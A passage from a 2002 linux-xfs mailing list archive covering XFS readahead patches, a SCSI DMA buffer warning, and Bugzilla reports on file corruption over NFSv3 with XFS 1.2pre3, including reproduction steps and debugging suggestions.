paging out anything. I already sent the PF_NOWARN patch to Chris, btw. > And it should be changed to __GFP_HIGHMEM so XFS can perform > readahead into highmem pages. No. that metadata must be mapped. > However it is probably best to change this to just use > mapping->gfp_mask. I vaguely recall that the nonblocking allocation > improved performance in some situations, but it's quite possible > that the VM problem which made that a good thing got fixed. The mapping for xfs metadata is the bdev mapping, we really shouldn't mess with it's gfp mask. From owner-linux-xfs@oss.sgi.com Mon Nov 18 06:07:12 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 18 Nov 2002 06:07:14 -0800 (PST) Received: from tolkor.sgi.com (tolkor.sgi.com [198.149.18.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAIE7CuR010172 for ; Mon, 18 Nov 2002 06:07:12 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by tolkor.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAIED9kq030413 for ; Mon, 18 Nov 2002 08:13:10 -0600 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id IAA92865 for ; Mon, 18 Nov 2002 08:09:06 -0600 (CST) Received: from taclab54.munich.sgi.com (taclab54.munich.sgi.com [144.253.195.54]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id IAA55084 for ; Mon, 18 Nov 2002 08:08:59 -0600 (CST) Received: (from hch@localhost) by taclab54.munich.sgi.com (8.11.6/8.11.6) id gAILNPB26546 for linux-xfs@oss.sgi.com; Mon, 18 Nov 2002 16:23:25 -0500 Resent-Message-Id: <200211182123.gAILNPB26546@taclab54.munich.sgi.com> Received: from nodin.corp.sgi.com (nodin.corp.sgi.com [192.26.51.193]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id HAA37328 for ; Mon, 18 Nov 2002 07:55:45 -0600 (CST) Received: from lab343.munich.sgi.com (lab343.munich.sgi.com [144.253.195.43]) by nodin.corp.sgi.com (8.12.3/8.11.4/nodin-1.0) with ESMTP id gAIDtikZ34409469 for ; Mon, 18 Nov 2002 05:55:44 -0800 (PST) Received: from lab343.munich.sgi.com (localhost [127.0.0.1]) by lab343.munich.sgi.com (8.12.3/8.12.2/SuSE Linux 0.6) with ESMTP id gAIDsIAM000958 for ; Mon, 18 Nov 2002 14:54:18 +0100 Received: (from hch@localhost) by lab343.munich.sgi.com (8.12.3/8.12.2/Submit) id gAIDsHv5000957 for hch@sgi.com; Mon, 18 Nov 2002 14:54:17 +0100 Date: Mon, 18 Nov 2002 14:54:17 +0100 From: Christoph Hellwig Message-Id: <200211181354.gAIDsHv5000957@lab343.munich.sgi.com> Subject: TAKE - readahead fixes To: undisclosed-recipients:; Resent-From: hch@sgi.com Resent-Date: Mon, 18 Nov 2002 16:23:25 -0500 Resent-To: linux-xfs@oss.sgi.com X-archive-position: 1779 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@sgi.com Precedence: bulk X-list: linux-xfs Date: Mon Nov 18 05:53:17 PST 2002 Workarea: lab343.munich.sgi.com:/home/hch/repo/slinx/2.5.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:133370a linux/fs/xfs/pagebuf/page_buf.c - 1.76 - don't read ahead btree data if the queues are congested and don't complain if the ra allocations fail - we explicitly asked for it to fail easily From owner-linux-xfs@oss.sgi.com Mon Nov 18 08:19:19 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 18 Nov 2002 08:19:24 -0800 (PST) Received: from ahriman.bucharest.roedu.net (ahriman.bucharest.roedu.net [141.85.128.71]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAIGJHuR012906 for ; Mon, 18 Nov 2002 08:19:18 -0800 Received: (qmail 15014 invoked by uid 1000); 18 Nov 2002 13:51:37 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 18 Nov 2002 13:51:37 -0000 Date: Mon, 18 Nov 2002 15:51:37 +0200 (EET) From: Mihai RUSU X-X-Sender: To: Linux XFS List Subject: Warning - running *really* short on DMA buffers Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 1780 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: dizzy@roedu.net Precedence: bulk X-list: linux-xfs Hi I am testing the 2.4.19-xfs_1.2pre3 kernel release. I compiled it from sources with gcc 2.95.3. I am very glad to see much unlink() improvements using version2 journal. Also external journal blasts away any internal journal bench :) (external on another PCI bus, controller and disk). I observed the message from the $subject in my kernel logs just right after a mkfs.xfs line, here is what I used: mkfs.xfs -f -l logdev=/dev/sda1,size=32768b,version=2 /dev/sdb1 /dev/sdb is a IBM ServeRAID /dev/sda is a SCSI on-board controller/disk Adaptec 7899P (Intel SCB2 motherboard) Looking in the sources I see this message printk() from drivers/scsi/scsi_merge.c : /* * Now fill the scatter-gather table. */ if (!sgpnt) { /* * If we cannot allocate the scatter-gather table, then * simply write the first buffer all by itself. */ printk("Warning - running *really* short on DMA buffers\n"); this_count = SCpnt->request.current_nr_sectors; goto single_segment; } What does that mean ? Where can I increase those "DMA buffers" ? What could be the possible cause ? What does xfs.mkfs do that could trigger that message ? Thanks ---------------------------- Mihai RUSU From owner-linux-xfs@oss.sgi.com Mon Nov 18 08:31:59 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 18 Nov 2002 08:32:01 -0800 (PST) Received: from ahriman.bucharest.roedu.net (ahriman.bucharest.roedu.net [141.85.128.71]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAIGVwuR015402 for ; Mon, 18 Nov 2002 08:31:59 -0800 Received: (qmail 29643 invoked by uid 1000); 18 Nov 2002 16:51:00 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 18 Nov 2002 16:51:00 -0000 Date: Mon, 18 Nov 2002 18:51:00 +0200 (EET) From: Mihai RUSU X-X-Sender: To: Linux XFS List Subject: Re: Warning - running *really* short on DMA buffers In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 1781 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: dizzy@roedu.net Precedence: bulk X-list: linux-xfs Sorry for the spam, seems to be a known 2.4.19 issue. For those interested follow: http://www.uwsg.iu.edu/hypermail/linux/kernel/0209.3/0582.html ---------------------------- Mihai RUSU From owner-linux-xfs@oss.sgi.com Mon Nov 18 09:13:57 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 18 Nov 2002 09:14:02 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAIHDvuR016497 for ; Mon, 18 Nov 2002 09:13:57 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAIHDur3016494 for linux-xfs@oss.sgi.com; Mon, 18 Nov 2002 09:13:56 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAIHDsuX016442 for ; Mon, 18 Nov 2002 09:13:54 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAIHDLAe016439; Mon, 18 Nov 2002 09:13:21 -0800 Date: Mon, 18 Nov 2002 09:13:21 -0800 Message-Id: <200211181713.gAIHDLAe016439@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 198] file corruption over NFSv3 UDP using 1.2pre3 X-Bugzilla-Reason: AssignedTo X-archive-position: 1782 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=198 ------- Additional Comments From stephy32@videotron.ca 2002-11-18 09:13 ------- (From update of attachment 49) And corruption was detected on 1 of the NFS client. ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Mon Nov 18 09:13:57 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 18 Nov 2002 09:14:15 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAIHDvuR016495 for ; Mon, 18 Nov 2002 09:13:57 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAIHDu9r016492 for linux-xfs@oss.sgi.com; Mon, 18 Nov 2002 09:13:56 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAIHDsub016442 for ; Mon, 18 Nov 2002 09:13:55 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAIH3TEc016217; Mon, 18 Nov 2002 09:03:29 -0800 Date: Mon, 18 Nov 2002 09:03:29 -0800 Message-Id: <200211181703.gAIH3TEc016217@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 198] New: file corruption over NFSv3 UDP using 1.2pre3 X-Bugzilla-Reason: AssignedTo X-archive-position: 1785 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=198 Summary: file corruption over NFSv3 UDP using 1.2pre3 Product: Linux XFS Version: 1.2.x Platform: IA32 OS/Version: Linux Status: NEW Severity: critical Priority: High Component: XFS kernel code AssignedTo: xfs-master@oss.sgi.com ReportedBy: stephy32@videotron.ca If this is a userspace bug, what version of the package are you using: What kernel are you using: 2.4.18-17SGI_XFS1.2pre3 and 2.4.19-SGI_XFS1.2pre3 Where did the XFS code come from? (CVS, Linus, your distribution, etc): Downloaded the kernel source RPM from sgi web site. Description of Problem: Using Dell Poweredge 4600 server and exporting the second system drive, file integrity verification fails. The failure occure on linux RH 7.3 clients, O2 with IRIX and Sun Netra5. The server is using Intel E1000 PCI-X (2X) with or without bonding. The test is ran concurently on 5 clients over gigabit ethernet or 100BT. The test is perform by creating a 3 Gigabyte file on the client using local storage. The file is then copied onto the NFS mount point and then copied back under a different name. Then the original file is compared with both file, the one on the NFS server and the copy locally. Within 3 to 4 hours of running the test so after 10 to 20 sucessful pass, the test fails. How Reproducible: All the time, nothing reported by enabling CONFIG_XFS_DEBUG, CONFIG_PAGEBUF_DEBUG, CONFIG_KERNEL_ASSERT. Tested with max_cpus=1 also. Steps to Reproduce: 1. Mount the server over NFS with rsize=8192,wsize=8192,hard,udp under /ts1 2. Create a local test file: dd if=/dev/random of=/var/tmp/test bs=1024k count=3000 3. Copy the file over to the server: cp /var/tmp/test /ts1/test-`hostname` 4. Copy the file back: cp /ts1/test-`hostname` /var/tmp/test-`hostname`.BACK 5. compare the files and their csum: Actual Results: A difference between the original file and the file over NFS Expected Results: No differences, please. Additional Information: Running the same test with RH kernel without XFS using EXt2 din't fails after 30HRS. The internal SCSI is AIX7900. .config file changes: SCSI and AIC7XXX built in instead of as module. Tested also with Hardware Raid 5 over Fiber Channel, it just takes longer to hit the Bug. email me if you need more info. Stephane Harnois ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Mon Nov 18 09:13:57 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 18 Nov 2002 09:14:07 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAIHDvuR016498 for ; Mon, 18 Nov 2002 09:13:57 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAIHDuel016493 for linux-xfs@oss.sgi.com; Mon, 18 Nov 2002 09:13:56 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAIHDsuV016442 for ; Mon, 18 Nov 2002 09:13:54 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAIHBwvG016428; Mon, 18 Nov 2002 09:11:58 -0800 Date: Mon, 18 Nov 2002 09:11:58 -0800 Message-Id: <200211181711.gAIHBwvG016428@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 198] file corruption over NFSv3 UDP using 1.2pre3 X-Bugzilla-Reason: AssignedTo X-archive-position: 1783 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=198 ------- Additional Comments From stephy32@videotron.ca 2002-11-18 09:11 ------- Created an attachment (id=49) --> (http://oss.sgi.com/bugzilla/attachment.cgi?id=49&action=view) console output from kernel. Restarted the test after mkfs.xfs /dev/sdb and got these messages... ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Mon Nov 18 09:13:57 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 18 Nov 2002 09:14:15 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAIHDvuR016496 for ; Mon, 18 Nov 2002 09:13:57 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAIHDuij016491 for linux-xfs@oss.sgi.com; Mon, 18 Nov 2002 09:13:56 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAIHDsuT016442 for ; Mon, 18 Nov 2002 09:13:54 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAIH6xGr016374; Mon, 18 Nov 2002 09:06:59 -0800 Date: Mon, 18 Nov 2002 09:06:59 -0800 Message-Id: <200211181706.gAIH6xGr016374@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 198] file corruption over NFSv3 UDP using 1.2pre3 X-Bugzilla-Reason: AssignedTo X-archive-position: 1784 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=198 ------- Additional Comments From stephy32@videotron.ca 2002-11-18 09:06 ------- Created an attachment (id=48) --> (http://oss.sgi.com/bugzilla/attachment.cgi?id=48&action=view) configuration file reproduced the problem with or without XFS_QUOTA, or XFS_DEBUG, PAGEBUF_DEBUG ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Mon Nov 18 09:35:13 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 18 Nov 2002 09:35:17 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAIHZDuR018450 for ; Mon, 18 Nov 2002 09:35:13 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAIHZDYA018449 for linux-xfs@oss.sgi.com; Mon, 18 Nov 2002 09:35:13 -0800 Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAIHZBuR018434; Mon, 18 Nov 2002 09:35:11 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by zok.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAIGejKp002942; Mon, 18 Nov 2002 08:40:45 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id LAA42531; Mon, 18 Nov 2002 11:37:05 -0600 (CST) Received: from rose.americas.sgi.com (rose.americas.sgi.com [128.162.187.93]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id LAA87864; Mon, 18 Nov 2002 11:37:05 -0600 (CST) Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by rose.americas.sgi.com (8.12.5/8.12.5) with ESMTP id gAIHbmpX003055; Mon, 18 Nov 2002 11:37:49 -0600 Subject: Re: [Bug 198] New: file corruption over NFSv3 UDP using 1.2pre3 From: Russell Cattelan To: bugzilla-daemon@oss.sgi.com Cc: xfs-master@oss.sgi.com In-Reply-To: <200211181703.gAIH3TEc016217@oss.sgi.com> References: <200211181703.gAIH3TEc016217@oss.sgi.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) Date: 18 Nov 2002 11:37:48 -0600 Message-Id: <1037641069.2761.37.camel@rose.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 1786 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cattelan@thebarn.com Precedence: bulk X-list: linux-xfs Hmmm this does not look good. I would be helpful to see exactly what went wrong in the file. A cmp -l might be a good start or a hexdump -v on both the good and the bad files and them diffing the output. Basically what we are looking for is what "bad" data ended up in the file and start position and length of the bad data. On Mon, 2002-11-18 at 11:03, bugzilla-daemon@oss.sgi.com wrote: > http://oss.sgi.com/bugzilla/show_bug.cgi?id=198 > > Summary: file corruption over NFSv3 UDP using 1.2pre3 > Product: Linux XFS > Version: 1.2.x > Platform: IA32 > OS/Version: Linux > Status: NEW > Severity: critical > Priority: High > Component: XFS kernel code > AssignedTo: xfs-master@oss.sgi.com > ReportedBy: stephy32@videotron.ca > > > If this is a userspace bug, what version of the package are you using: > > What kernel are you using: > 2.4.18-17SGI_XFS1.2pre3 and 2.4.19-SGI_XFS1.2pre3 > > Where did the XFS code come from? (CVS, Linus, your distribution, etc): > Downloaded the kernel source RPM from sgi web site. > > Description of Problem: > Using Dell Poweredge 4600 server and exporting the second system drive, file > integrity verification fails. The failure occure on linux RH 7.3 clients, O2 > with IRIX and Sun Netra5. The server is using Intel E1000 PCI-X (2X) with or > without bonding. > > The test is ran concurently on 5 clients over gigabit ethernet or 100BT. > The test is perform by creating a 3 Gigabyte file on the client using local > storage. The file is then copied onto the NFS mount point and then copied back > under a different name. Then the original file is compared with both file, the > one on the NFS server and the copy locally. Within 3 to 4 hours of running the > test so after 10 to 20 sucessful pass, the test fails. > > > How Reproducible: > All the time, nothing reported by enabling CONFIG_XFS_DEBUG, > CONFIG_PAGEBUF_DEBUG, CONFIG_KERNEL_ASSERT. Tested with max_cpus=1 also. > > Steps to Reproduce: > 1. Mount the server over NFS with rsize=8192,wsize=8192,hard,udp under /ts1 > 2. Create a local test file: dd if=/dev/random of=/var/tmp/test bs=1024k > count=3000 > 3. Copy the file over to the server: cp /var/tmp/test /ts1/test-`hostname` > 4. Copy the file back: cp /ts1/test-`hostname` /var/tmp/test-`hostname`.BACK > 5. compare the files and their csum: > > Actual Results: > A difference between the original file and the file over NFS > > Expected Results: > No differences, please. > > Additional Information: > Running the same test with RH kernel without XFS using EXt2 din't fails after > 30HRS. > The internal SCSI is AIX7900. > > .config file changes: SCSI and AIC7XXX built in instead of as module. Tested > also with Hardware Raid 5 over Fiber Channel, it just takes longer to hit the > Bug. > > email me if you need more info. > > Stephane Harnois > > > > ------- You are receiving this mail because: ------- > You are the assignee for the bug, or are watching the assignee. > From owner-linux-xfs@oss.sgi.com Mon Nov 18 10:13:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 18 Nov 2002 10:13:58 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAIIDtuR019484 for ; Mon, 18 Nov 2002 10:13:55 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAIIDtnL019483 for linux-xfs@oss.sgi.com; Mon, 18 Nov 2002 10:13:55 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAIIDsuT019469 for ; Mon, 18 Nov 2002 10:13:54 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAII7wlB019338; Mon, 18 Nov 2002 10:07:58 -0800 Date: Mon, 18 Nov 2002 10:07:58 -0800 Message-Id: <200211181807.gAII7wlB019338@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 198] file corruption over NFSv3 UDP using 1.2pre3 X-Bugzilla-Reason: AssignedTo X-archive-position: 1787 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=198 ------- Additional Comments From cattelan@thebarn.com 2002-11-18 09:35 ------- Subject: Re: New: file corruption over NFSv3 UDP using 1.2pre3 Hmmm this does not look good. I would be helpful to see exactly what went wrong in the file. A cmp -l might be a good start or a hexdump -v on both the good and the bad files and them diffing the output. Basically what we are looking for is what "bad" data ended up in the file and start position and length of the bad data. On Mon, 2002-11-18 at 11:03, bugzilla-daemon@oss.sgi.com wrote: > http://oss.sgi.com/bugzilla/show_bug.cgi?id=198 > > Summary: file corruption over NFSv3 UDP using 1.2pre3 > Product: Linux XFS > Version: 1.2.x > Platform: IA32 > OS/Version: Linux > Status: NEW > Severity: critical > Priority: High > Component: XFS kernel code > AssignedTo: xfs-master@oss.sgi.com > ReportedBy: stephy32@videotron.ca > > > If this is a userspace bug, what version of the package are you using: > > What kernel are you using: > 2.4.18-17SGI_XFS1.2pre3 and 2.4.19-SGI_XFS1.2pre3 > > Where did the XFS code come from? (CVS, Linus, your distribution, etc): > Downloaded the kernel source RPM from sgi web site. > > Description of Problem: > Using Dell Poweredge 4600 server and exporting the second system drive, file > integrity verification fails. The failure occure on linux RH 7.3 clients, O2 > with IRIX and Sun Netra5. The server is using Intel E1000 PCI-X (2X) with or > without bonding. > > The test is ran concurently on 5 clients over gigabit ethernet or 100BT. > The test is perform by creating a 3 Gigabyte file on the client using local > storage. The file is then copied onto the NFS mount point and then copied back > under a different name. Then the original file is compared with both file, the > one on the NFS server and the copy locally. Within 3 to 4 hours of running the > test so after 10 to 20 sucessful pass, the test fails. > > > How Reproducible: > All the time, nothing reported by enabling CONFIG_XFS_DEBUG, > CONFIG_PAGEBUF_DEBUG, CONFIG_KERNEL_ASSERT. Tested with max_cpus=1 also. > > Steps to Reproduce: > 1. Mount the server over NFS with rsize=8192,wsize=8192,hard,udp under /ts1 > 2. Create a local test file: dd if=/dev/random of=/var/tmp/test bs=1024k > count=3000 > 3. Copy the file over to the server: cp /var/tmp/test /ts1/test-`hostname` > 4. Copy the file back: cp /ts1/test-`hostname` /var/tmp/test-`hostname`.BACK > 5. compare the files and their csum: > > Actual Results: > A difference between the original file and the file over NFS > > Expected Results: > No differences, please. > > Additional Information: > Running the same test with RH kernel without XFS using EXt2 din't fails after > 30HRS. > The internal SCSI is AIX7900. > > .config file changes: SCSI and AIC7XXX built in instead of as module. Tested > also with Hardware Raid 5 over Fiber Channel, it just takes longer to hit the > Bug. > > email me if you need more info. > > Stephane Harnois > > > > ------- You are receiving this mail because: ------- > You are the assignee for the bug, or are watching the assignee. > ------- Additional Comments From cattelan@thebarn.com 2002-11-18 10:07 ------- Hmmm this does not look good. I would be helpful to see exactly what went wrong in the file. A cmp -l might be a good start or a hexdump -v on both the good and the bad files and them diffing the output. Basically what we are looking for is what "bad" data ended up in the file and start position and length of the bad data. ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Mon Nov 18 10:43:56 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 18 Nov 2002 10:44:00 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAIIhuuR021262 for ; Mon, 18 Nov 2002 10:43:56 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAIIhuGV021259 for linux-xfs@oss.sgi.com; Mon, 18 Nov 2002 10:43:56 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAIIhsuR021222 for ; Mon, 18 Nov 2002 10:43:54 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAIIO5Rk021056; Mon, 18 Nov 2002 10:24:05 -0800 Date: Mon, 18 Nov 2002 10:24:05 -0800 Message-Id: <200211181824.gAIIO5Rk021056@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 198] file corruption over NFSv3 UDP using 1.2pre3 X-Bugzilla-Reason: AssignedTo X-archive-position: 1788 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=198 ------- Additional Comments From stephy32@videotron.ca 2002-11-18 10:24 ------- Created an attachment (id=50) --> (http://oss.sgi.com/bugzilla/attachment.cgi?id=50&action=view) Log file from corruption output from cmp64, something we wrote. The bad Data is from another offset in the file. Do you want me to upload the 2 files (total 6 gigabytes)? ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Mon Nov 18 10:43:56 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 18 Nov 2002 10:44:14 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAIIhuuR021261 for ; Mon, 18 Nov 2002 10:43:56 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAIIhuGr021257 for linux-xfs@oss.sgi.com; Mon, 18 Nov 2002 10:43:56 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAIIhsuT021222 for ; Mon, 18 Nov 2002 10:43:54 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAIIPRYC021079; Mon, 18 Nov 2002 10:25:27 -0800 Date: Mon, 18 Nov 2002 10:25:27 -0800 Message-Id: <200211181825.gAIIPRYC021079@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 198] file corruption over NFSv3 UDP using 1.2pre3 X-Bugzilla-Reason: AssignedTo X-archive-position: 1790 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=198 ------- Additional Comments From stephy32@videotron.ca 2002-11-18 10:25 ------- (From update of attachment 50) first colomn: offset: original_data bad_data ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Mon Nov 18 10:43:56 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 18 Nov 2002 10:44:06 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAIIhuuR021260 for ; Mon, 18 Nov 2002 10:43:56 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAIIhufr021258 for linux-xfs@oss.sgi.com; Mon, 18 Nov 2002 10:43:56 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAIIhsuV021222 for ; Mon, 18 Nov 2002 10:43:54 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAIIaU2g021130; Mon, 18 Nov 2002 10:36:30 -0800 Date: Mon, 18 Nov 2002 10:36:30 -0800 Message-Id: <200211181836.gAIIaU2g021130@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 198] file corruption over NFSv3 UDP using 1.2pre3 X-Bugzilla-Reason: AssignedTo X-archive-position: 1789 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=198 stephy32@videotron.ca changed: What |Removed |Added ---------------------------------------------------------------------------- Attachment #50 is|0 |1 obsolete| | ------- Additional Comments From 